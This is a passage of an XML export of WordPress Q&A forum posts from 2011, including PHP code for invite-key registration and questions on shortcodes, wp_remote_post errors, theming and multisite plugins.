&amp;lt;?php&#xA;    // Do some stuff if our action is set.&#xA;    if( isset( $_POST['wpse15535_action'] ) &amp;amp;&amp;amp; 'send_invite' == $_POST['wpse15535_action'] )&#xA;    {&#xA;        // Get the email&#xA;        $email = isset( $_POST['wpse15535_email'] ) &amp;amp;&amp;amp; is_email( $_POST['wpse15535_email'] ) ? $_POST['wpse15535_email'] : false;&#xA;        if( ! $email ) return; // bad email? bail.&#xA;&#xA;        // generate a random 30 character string.&#xA;        $key = wp_generate_password( 30 );&#xA;&#xA;        // store our keys in the options table&#xA;        $opts = get_option( 'wpse15535_keys' );&#xA;        $opts = (array) $opts;&#xA;        $opts[$email] = $key;&#xA;        update_option( 'wpse15535_keys', $opts );&#xA;&#xA;        // Send an email!&#xA;        $message = &quot;You're invited to join a sweet community! Click here: &quot; . home_url( 'wp-login.php?action=register&amp;amp;invite_key=' . $key );&#xA;        wp_mail( $email, &quot;You're invited!&quot;, $message );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then it's on to the registration form.  Make sure &quot;Anyone can register&quot; is checked in the &lt;code&gt;settigns &amp;gt; general&lt;/code&gt; options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The email that gets sent to the person contains a url with the invite key as a URL parameter &lt;code&gt;invite_key&lt;/code&gt;.  So first, we'll hook into the registration form and echo out a hidden input with the key if it's present.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'register_form', 'wpse15535_add_key' );&#xA;function wpse15535_add_key()&#xA;{   &#xA;    if( isset( $_GET['invite_key'] ) )&#xA;    {&#xA;        echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;invite_key&quot; value=&quot;' . esc_attr( $_GET['invite_key'] ) . '&quot; /&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, we'll hook into the &lt;code&gt;registration_errors&lt;/code&gt; filter.  We need to see if there are any errors already, and bail if there are.  Then we see if we even have a key.  If not, add an error and message.  They we get the option that contains are email =&gt; key pairs and see if the entered email matches up with the key we have for it.  If not, add and error and return. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nothing goes wrong, the user should be able to register no problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter( 'registration_errors', 'wpse15535_register_post', 10, 3 );&#xA;function wpse15535_register_post( $errors, $login, $email )&#xA;{&#xA;    // bail if something has gone wrong already as they won't be able to register.&#xA;    if( $errors-&amp;gt;get_error_codes() ) return $errors;&#xA;&#xA;    // If our key isn't set an error and bail&#xA;    if( ! isset( $_REQUEST['invite_key'] ) )&#xA;    {       &#xA;        $errors-&amp;gt;add( 'no_key', __( 'You need an invite code to register for this site' ) );&#xA;        return $errors;&#xA;    }&#xA;&#xA;    $opts = get_option( 'wpse15535_keys' );&#xA;&#xA;    // see if this email has a key and if it matches what was submitted.&#xA;    if( ! isset( $opts[$email] ) || $_REQUEST['invite_key'] != $opts[$email] )&#xA;    {&#xA;        $errors-&amp;gt;add( 'invalid_key', __( 'Invalid Registration Key' ) );&#xA;        return $errors;&#xA;    }&#xA;&#xA;    // everything okay? Just return the errors and let it go through.&#xA;    return $errors;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a plugin: &lt;a href=&quot;https://gist.github.com/1181933&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/1181933&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-30T20:29:12.763" />
  <row Id="27315" PostTypeId="1" CreationDate="2011-08-30T20:38:14.170" Score="1" ViewCount="24" Body="&lt;p&gt;Never posted here but since I can't find a solution on my own, let's abuse your kindness!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm adding some custom post types through my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first custom type works like a charm, but as soon as I add the second (and third) one, the apache's error log reports a PHP Warning when trying to do a search action (like the one to search a post to attach a media).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fopen(http://localhost/site/wp-cron.php?doing_wp_cron) [&amp;lt;a href='function.fopen'&amp;gt;function.fopen&amp;lt;/a&amp;gt;]: failed to open stream [...] in E:\\www\\site\\wp-includes\\class-http.php on line 876, referer: http://localhost/raw/wp-admin/edit.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It only happens when I set the 'thumbnail' string into the $args['supports'] array passed to the register_post_type function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="8283" LastActivityDate="2011-08-30T21:26:53.103" Title="Custom Post Type And &quot;fopen&quot;" Tags="&lt;custom-post-types&gt;&lt;search&gt;&lt;thumbnails&gt;" AnswerCount="1" />
  <row Id="27316" PostTypeId="1" AcceptedAnswerId="27318" CreationDate="2011-08-30T21:00:58.477" Score="0" ViewCount="12" Body="&lt;p&gt;I'm learning about shortcodes. My shortcode is working fine. But, I'm not getting the default values for the attributes. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function csf_cap_databaseinfo($atts,$content=null) {&#xA;    global $wpdb;&#xA;&#xA;    shortcode_atts( array('title'=&amp;gt;'My Default', 'year'=&amp;gt;'1900'), $atts); &#xA;&#xA;    $greeting = $wpdb-&amp;gt;get_results($wpdb-&amp;gt;prepare(&quot;SELECT * FROM wp_test;&quot;)); &#xA;&#xA;     $out = '&amp;lt;h3&amp;gt;'.$atts['title'].'&amp;lt;/h3&amp;gt; &amp;lt;h3&amp;gt;'.$atts['year'].'&amp;lt;/h3&amp;gt;&amp;lt;table&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;th style=&quot;border:1px solid #e7e7e7; padding:10px; text-align:center&quot;&amp;gt;ID&amp;lt;/th&amp;gt;&#xA;                        &amp;lt;th style=&quot;border:1px solid #e7e7e7; padding:10px; text-align:center&quot;&amp;gt;Greeting&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;'; &#xA;&#xA;    foreach ($greeting as $greet)&#xA;        { &#xA;        $out .= '&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;border:1px solid #e7e7e7; padding:10px; text-align:center&quot;&amp;gt;'. $greet-&amp;gt;id .'&amp;lt;/td&amp;gt;'; &#xA;        $out .= '&amp;lt;td style=&quot;border:1px solid #e7e7e7; padding:10px; text-align:center&quot;&amp;gt;'. $greet-&amp;gt;greeting .'&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;        }&#xA;&#xA;      $out .= '&amp;lt;/table&amp;gt;'; &#xA;&#xA;&#xA;&#xA;        return $out; &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if someone types in [db-info] in a post, without any attributes, they aren't getting &quot;My Default&quot; and &quot;1900&quot;. If they type in: [db-info title=&quot;Hello&quot; year=&quot;1973&quot;], it works as expected. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-08-30T21:06:29.860" Title="Default Attributes in Shortcode Not Working" Tags="&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="27317" PostTypeId="2" ParentId="24514" CreationDate="2011-08-30T21:05:53.943" Score="0" ViewCount="" Body="&lt;p&gt;Or use HyperDB, which is free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/HyperDB&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/HyperDB&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/hyperdb/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/hyperdb/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-30T21:05:53.943" />
  <row Id="27318" PostTypeId="2" ParentId="27316" CreationDate="2011-08-30T21:06:29.860" Score="3" ViewCount="" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $atts = shortcode_atts( array( 'title' =&amp;gt; 'My Default', 'year' =&amp;gt; '1900' ), $atts ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-08-30T21:06:29.860" CommentCount="2" />
  <row Id="27319" PostTypeId="1" CreationDate="2011-08-30T21:19:55.433" Score="-2" ViewCount="20" Body="&lt;p&gt;I'm trying to center my logo in the header of my webpage (phitlab.host22.com/wordpress). I tried many code snippets that I found online, &amp;amp; on w3 school, but none of them have worked [such as: &lt;code&gt;width: 960px; margin-left: auto; margin-right: auto;&lt;/code&gt;] The code I need to change is in the div.logo img { } section. Any ideas would be really appreciated! &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#header { padding-bottom: 20px; }&#xA;div.logo { float: left; }&#xA;h1#title, div#title, div.logo img {&#xA;    padding: 30px 0 0 20px;&#xA;    font-size: 3em;&#xA;    color: #f8f8f8;&#xA;    font-weight: bold;&#xA;    text-shadow: 0 2px 0 #000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8285" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-08-30T21:57:28.670" LastActivityDate="2011-08-30T21:57:28.670" ClosedDate="2011-08-30T21:57:40.167" Title="How to center my webpage logo?" Tags="&lt;css&gt;" CommentCount="4" />
  <row Id="27320" PostTypeId="2" ParentId="27315" CreationDate="2011-08-30T21:26:53.103" Score="1" ViewCount="" Body="&lt;p&gt;I had that error pop up a few times recently as well.  From what I can tell it's a side effect of the local dev environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More reading:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/wp-30-warning-fopenhttpabccomwp-cronphpdoing_wp_cron&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/wp-30-warning-fopenhttpabccomwp-cronphpdoing_wp_cron&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/11831&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/11831&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-30T21:26:53.103" CommentCount="1" />
  <row Id="27321" PostTypeId="1" AcceptedAnswerId="27354" CreationDate="2011-08-30T22:10:02.370" Score="0" ViewCount="25" Body="&lt;p&gt;Is there a way to prevent tinyMCE from auto formatting the content inside &lt;strong&gt;selected&lt;/strong&gt; blocks? Something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--dont-alter--&amp;gt;&#xA;variable range of content, text, &amp;lt; , ], images etc., that will not be touched by tinyMCE.&#xA;&amp;lt;!--end:dont:alter--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so that when switching between editors, the content is unchanged? I have done tinyMCE plugins before, but would really appreciate some directions here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above functionality would be very helpful, allowing control over formatting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please share you wisdom. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4182" LastActivityDate="2011-08-31T10:04:33.240" Title="Preventing tinyMCE from auto formatting selected blocks of content" Tags="&lt;tinymce&gt;&lt;visual-editor&gt;" AnswerCount="1" />
  <row Id="27322" PostTypeId="2" ParentId="27310" CreationDate="2011-08-30T22:13:25.993" Score="5" ViewCount="" Body="&lt;p&gt;File manipulation and shell scripting is not often what you do &lt;strong&gt;with&lt;/strong&gt; WordPress. At most something you do &lt;strong&gt;to&lt;/strong&gt; it, like backup or deployment stuff. It is something WP itself and plugins try to keep to a minimum for good compatibility with different hosting environments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kind of WordPress development is it actually going to be? Field is quite wide from very front-end stuff to very back-end stuff and load of things in between.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is far from comprehensive, but things that I would personally consider strong basic foundation for WP development are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;in general&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ironclad understanding of hooks - what they are, how they work, how they work with classes, how one code can manipulate hooked events of other code&lt;/li&gt;&#xA;&lt;li&gt;Settings API, adding things to admin area in general&lt;/li&gt;&#xA;&lt;li&gt;security concepts, validation, sanitization, output to screen, checking for authority and intent&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;theme development&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;queries and loops, different ways to run them and which to use for what&lt;/li&gt;&#xA;&lt;li&gt;template tags, basics (&lt;code&gt;get_&lt;/code&gt; vs &lt;code&gt;the_&lt;/code&gt;), global variables they rely on&lt;/li&gt;&#xA;&lt;li&gt;template hierarchy and conditional tags, what it is, how to bend it&lt;/li&gt;&#xA;&lt;li&gt;parent and child themes, load order, template inheritance, setup process&lt;/li&gt;&#xA;&lt;li&gt;script and style queue&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;plugin development&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;changing plugin states (actiivation, deactivation, uninstallation)&lt;/li&gt;&#xA;&lt;li&gt;logical differences between plugins, must use plugins and code in themes&lt;/li&gt;&#xA;&lt;li&gt;code organization (prefixes, classes)&lt;/li&gt;&#xA;&lt;li&gt;core and plugin loading logic, when is it too early, too late and appropriate to run code&lt;/li&gt;&#xA;&lt;li&gt;Ajax implementation&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-30T22:24:55.827" LastActivityDate="2011-08-30T22:24:55.827" CommentCount="3" />
  <row Id="27323" PostTypeId="1" CreationDate="2011-08-30T22:15:14.920" Score="0" ViewCount="30" Body="&lt;pre&gt;&lt;code&gt;    $response = wp_remote_post( 'ssl://securesite.com', array(&#xA;        'method' =&amp;gt; 'POST',&#xA;        'body' =&amp;gt; $string, // variable is set&#xA;        'timeout' =&amp;gt; apply_filters( 'http_request_timeout', 15),&#xA;        'sslverify' =&amp;gt; true&#xA;    ));&#xA;&#xA;    error_log(print_r($response, TRUE));&#xA;&#xA;    if ( is_wp_error($response) ) {&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    $result = wp_remote_retrieve_body($response);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[30-Aug-2011 21:53:53] WP_Error Object&#xA;(&#xA;[errors] =&amp;gt; Array&#xA;    (&#xA;        [http_request_failed] =&amp;gt; Array&#xA;            (&#xA;                [0] =&amp;gt; Unsupported protocol: ssl&#xA;            )&#xA;&#xA;    )&#xA;&#xA;[error_data] =&amp;gt; Array&#xA;    (&#xA;    )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use fsockopen and fgets everything works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like I'm missing an undocumented trick since ssl should be handled by wp_remote_post.&lt;/p&gt;&#xA;" OwnerUserId="8286" LastActivityDate="2011-08-30T22:22:10.370" Title="wp_remote_post with ssl:// protocol" Tags="&lt;functions&gt;&lt;remote&gt;&lt;http-api&gt;" AnswerCount="1" />
  <row Id="27324" PostTypeId="2" ParentId="27310" CreationDate="2011-08-30T22:17:06.317" Score="4" ViewCount="" Body="&lt;p&gt;If I were to hire a WordPress developer, my wish list would look like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Knows HTML and CSS inside and out;&lt;/li&gt;&#xA;&lt;li&gt;Has at least a basic grasp of JavaScript;&lt;/li&gt;&#xA;&lt;li&gt;Knows their way around PHP, and produces beautiful code (clean, consistent, &lt;a href=&quot;http://en.wikipedia.org/wiki/Don%27t_repeat_yourself&quot; rel=&quot;nofollow&quot;&gt;DRY&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Has a good grasp of database design and SQL: if I show you a database schema and a few queries, can you tell whether they're well-designed and efficient?&lt;/li&gt;&#xA;&lt;li&gt;Understands their .htaccess file;&lt;/li&gt;&#xA;&lt;li&gt;Understands The Loop thoroughly;&lt;/li&gt;&#xA;&lt;li&gt;Understands how taxonomies, custom fields, custom post types, and post formats work, and what they're for;&lt;/li&gt;&#xA;&lt;li&gt;Knows how themes work and understands the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;template hierarchy&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Knows how plugins work and how to write a simple one.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's a lot more I can think of, but I think the above would be a pretty solid start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's a trick question: what sucks about WordPress, and what would you change in the next major version to fix it? If you can give a convincing answer to this, you probably know quite a bit about WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But setting aside the above wish list for a second, the most important thing to me is not whether you know the solution to a problem: it's whether you can find the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Know where to look (the Codex, the PHP manual, places like this), and be genuinely interested in doing things the right way. Don't be satisfied when the thing that didn't work suddenly works: was that the right solution? Could you do it in a more elegant way, with less code? Can this solution scale, can it be reused when a similar problem crops up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="8284" LastActivityDate="2011-08-30T22:17:06.317" CommentCount="1" />
  <row Id="27325" PostTypeId="2" ParentId="27323" CreationDate="2011-08-30T22:22:10.370" Score="0" ViewCount="" Body="&lt;p&gt;This doesn't seem to be error coming from WP itself, but is likely generated by curl, which WP likes to pick first for network requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd try to replicate request with curl by hand on your hosting and elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are content with doing network request in other way you can tweak to make WP skip curl as transport and go for other options.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-30T22:22:10.370" CommentCount="2" />
  <row Id="27326" PostTypeId="1" CreationDate="2011-08-30T23:40:16.670" Score="0" ViewCount="14" Body="&lt;p&gt;is there a way to have a site use a theme that is specified by the URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example the same site content / db / WP where&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain_x.com uses theme_a with company_branding&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain_y.com uses theme_b with alt_company_branding&lt;/p&gt;&#xA;" OwnerUserId="8287" LastActivityDate="2011-08-30T23:52:57.093" Title="custom branding / theme specified by URL" Tags="&lt;themes&gt;&lt;urls&gt;" AnswerCount="1" />
  <row Id="27327" PostTypeId="1" CreationDate="2011-08-30T23:41:10.770" Score="0" ViewCount="9" Body="&lt;p&gt;I'm trying to write a post with multiple pages using the  shortcode. In the first page of the post it shows up correctly with the links and number of pages but it won't let me actually preview any of those pages. If I click a link it just defaults back to page 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/?p=11367 - is the link for the first page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/?p=11367&amp;amp;page=2 - is the link for the second page but on clicking it just returns to the first url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried searching for solutions but cannot find any, please can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="4488" LastActivityDate="2011-08-30T23:41:10.770" Title="Cannot preview posts with multiple pages?" Tags="&lt;pages&gt;" />
  <row Id="27328" PostTypeId="2" ParentId="27326" CreationDate="2011-08-30T23:52:57.093" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On second thought: &lt;strong&gt;no&lt;/strong&gt;, both Themes couldn't use the same database. If they did, they would have to have exactly the same settings, including active Theme, activated Plugins, and settings - which includes home_url().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be other ways to go about it, but this isn't one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ORIGINAL ANSWER&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm following your question properly, then sure. Just have two separate WordPress installations that use the same database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: there &lt;em&gt;could&lt;/em&gt; be unintended consequences of writing to the same DB from two different WP installs.)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-30T23:52:57.093" CommentCount="1" />
  <row Id="27329" PostTypeId="1" CreationDate="2011-08-31T00:04:41.687" Score="0" ViewCount="10" Body="&lt;p&gt;I am using wordpress as a CMS for a website with about 30 users. Each one is supposed to post to their own category so it will go on the correct &quot;page.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a plugin that restricts the category choices they have. The problem is that they have to remember to check the box before posting, which they don't always do. The post is labeled as &quot;uncategorized&quot; and doesn't show up in the structure of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way/plugin that gives each user their own default category?&lt;/p&gt;&#xA;" OwnerUserId="8288" LastActivityDate="2011-08-31T00:04:41.687" Title="User-specific default categories" Tags="&lt;plugins&gt;&lt;admin&gt;&lt;users&gt;&lt;cms&gt;" CommentCount="1" />
  <row Id="27330" PostTypeId="1" CreationDate="2011-08-31T01:25:45.187" Score="0" ViewCount="27" Body="&lt;p&gt;I'm trying to build a website network on my site that is rss powered. It should be similar to &lt;a href=&quot;http://network.smashingmagazine.com/&quot; rel=&quot;nofollow&quot;&gt;http://network.smashingmagazine.com/&lt;/a&gt; in scope except I want the new content posted automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should work off a cron job perhaps every hour or so and it needs to fit the current template on my site at  &lt;a href=&quot;http://www.theliverpoolview.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.theliverpoolview.com/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any free or open source plugin that does an easy job of this?&lt;/p&gt;&#xA;" OwnerUserId="8289" LastEditorUserId="8289" LastEditorDisplayName="" LastEditDate="2011-08-31T01:32:22.943" LastActivityDate="2011-08-31T03:57:22.887" Title="Build a rss powered website network" Tags="&lt;plugin-recommendation&gt;&lt;rss&gt;" AnswerCount="1" />
  <row Id="27331" PostTypeId="2" ParentId="27158" CreationDate="2011-08-31T01:31:02.197" Score="0" ViewCount="" Body="&lt;p&gt;Try this: &lt;code&gt;http://yourblog.com/?s=html&amp;amp;cat[]=114&amp;amp;cat[]=115&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, why don't you use a hook link &lt;code&gt;pre_get_posts&lt;/code&gt; to filter your search? It would be much easier than tweaking the search URL.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-08-31T01:31:02.197" CommentCount="1" />
  <row Id="27332" PostTypeId="1" AcceptedAnswerId="27341" CreationDate="2011-08-31T01:40:55.737" Score="0" ViewCount="25" Body="&lt;p&gt;I just created my first network of sites with wordpress and I was installing plugins, I installed these:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Platinium SEO Pack (http://techblissonline.com/platinum-seo-pack/)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;TubePress (http://www.tubepress.net) &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Contact Form 7 (http://contactform7.com/)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Social Bookmarks (http://wordpress.org/extend/plugins/social-bookmarks/) &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Strictly Auto Tags (http://wordpress.org/extend/plugins/strictly-autotags/) &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SEO Smart Links (http://wordpress.org/extend/plugins/seo-automatic-links/)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SEO Friendly Image (http://wordpress.org/extend/plugins/seo-image/)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Google XML Sitemaps (http://wordpress.org/extend/plugins/google-sitemap-generator/)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I &quot;network activated&quot; all the plugins and then I went to one of the sites dashboards, and I saw a msg from Google XML Sitemaps saying that the plugin doesn't work on multisite. Now my problem is that I don't know if the other plugins will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I have to test each feature of all the plugins or is there an easier way to know if they work on multisite?&lt;/p&gt;&#xA;" OwnerUserId="8290" LastActivityDate="2011-08-31T04:04:25.400" Title="Will these plugins work with wp multisite?" Tags="&lt;plugins&gt;&lt;multisite&gt;" AnswerCount="1" />
  <row Id="27333" PostTypeId="1" CreationDate="2011-08-31T01:46:57.947" Score="0" ViewCount="12" Body="&lt;p&gt;I'm developing a site that features one custom post type. The custom post is a product page and features two custom taxonomies 'Product Family' and 'Manufacturer'. I'm using these taxonomies to return results for a landing page for each term listed under the taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code i'm using is;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $post;&#xA;$paged = get_query_var( 'paged' ) ? get_query_var( 'paged' ) : 1;&#xA;$terms = get_the_terms( $post-&amp;gt;ID , 'family');&#xA;&#xA;$draft_posts = $count_posts-&amp;gt;draft;&#xA;&#xA;if(!empty($terms)){&#xA;foreach ($terms as $term) {&#xA;query_posts( array(&#xA;'family' =&amp;gt; $term-&amp;gt;slug,&#xA;'posts_per_page' =&amp;gt; 21,&#xA;'caller_get_posts' =&amp;gt; 1,&#xA;'orderby' =&amp;gt; 'title',&#xA;'order' =&amp;gt; 'ASC',&#xA;'paged' =&amp;gt; $paged,&#xA;'post__not_in' =&amp;gt; $do_not_duplicate ) );&#xA;&#xA;if(have_posts() ) {&#xA;while ( have_posts() ) : the_post(); $do_not_duplicate[] = $post-&amp;gt;ID; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works perfectly and returns a list of results for each taxonomy. However some of these lists are quite long and I'm looking for a way to publish a list of either tags or an additional taxonomy associated with all the posts for users to be able to filter the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far Ive tried a few things, but nothing seems to work as I want or return the right results. Any assistance or advice would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8291" LastActivityDate="2011-08-31T01:46:57.947" Title="show list of tags associated with custom taxonomy results" Tags="&lt;custom-taxonomy&gt;&lt;terms&gt;&lt;multi-taxonomy-query&gt;&lt;the-taxonomies&gt;" />
  <row Id="27335" PostTypeId="1" AcceptedAnswerId="27337" CreationDate="2011-08-31T02:40:22.867" Score="1" ViewCount="33" Body="&lt;p&gt;The only trick here: It is not my blog, I know how to do it using php in my blog. I want to find the id of a post on another wordpress blog through the internet. Does this information 'leak' somewhere, is it possible to be found by a third party?&lt;/p&gt;&#xA;" OwnerUserId="8293" LastActivityDate="2011-08-31T09:48:45.117" Title="How to find the post_id of a post on a wordpress blog that uses pretty URLs?" Tags="&lt;permalinks&gt;" AnswerCount="2" />
  <row Id="27336" PostTypeId="2" ParentId="26832" CreationDate="2011-08-31T02:47:02.107" Score="0" ViewCount="" Body="&lt;p&gt;Thanks Sisir! It is pretty possible, at least I think I am 2/3 way there. By using &lt;code&gt;pre_get_post&lt;/code&gt; action I filtered out posts successfully. This is action hook is more powerful than &lt;code&gt;add_filter(request,...)&lt;/code&gt;. There are still things I need to fix such as filtering out recent comments links related to target posts, and single post page that still displays, but I think they should be possible. &lt;/p&gt;&#xA;" OwnerUserId="6858" LastActivityDate="2011-08-31T02:47:02.107" />
  <row Id="27337" PostTypeId="2" ParentId="27335" CreationDate="2011-08-31T03:26:17.733" Score="1" ViewCount="" Body="&lt;p&gt;Most themes that I've seen use the post ID as the ID of the wrapping div for a post on the home page, archives, single post, etc. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;post-1920&quot; class=&quot;post [...]&quot;&amp;gt;post content and meta&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you could parse that with a regex or using something like &lt;a href=&quot;http://simplehtmldom.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;Simple HTML DOM&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But again, this is theme-dependent. It may not work 100% of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, on the single post page, if there is a comment form, there should be a hidden input with the name &quot;comment_post_ID&quot; that contains the post ID.&lt;/p&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-31T03:26:17.733" />
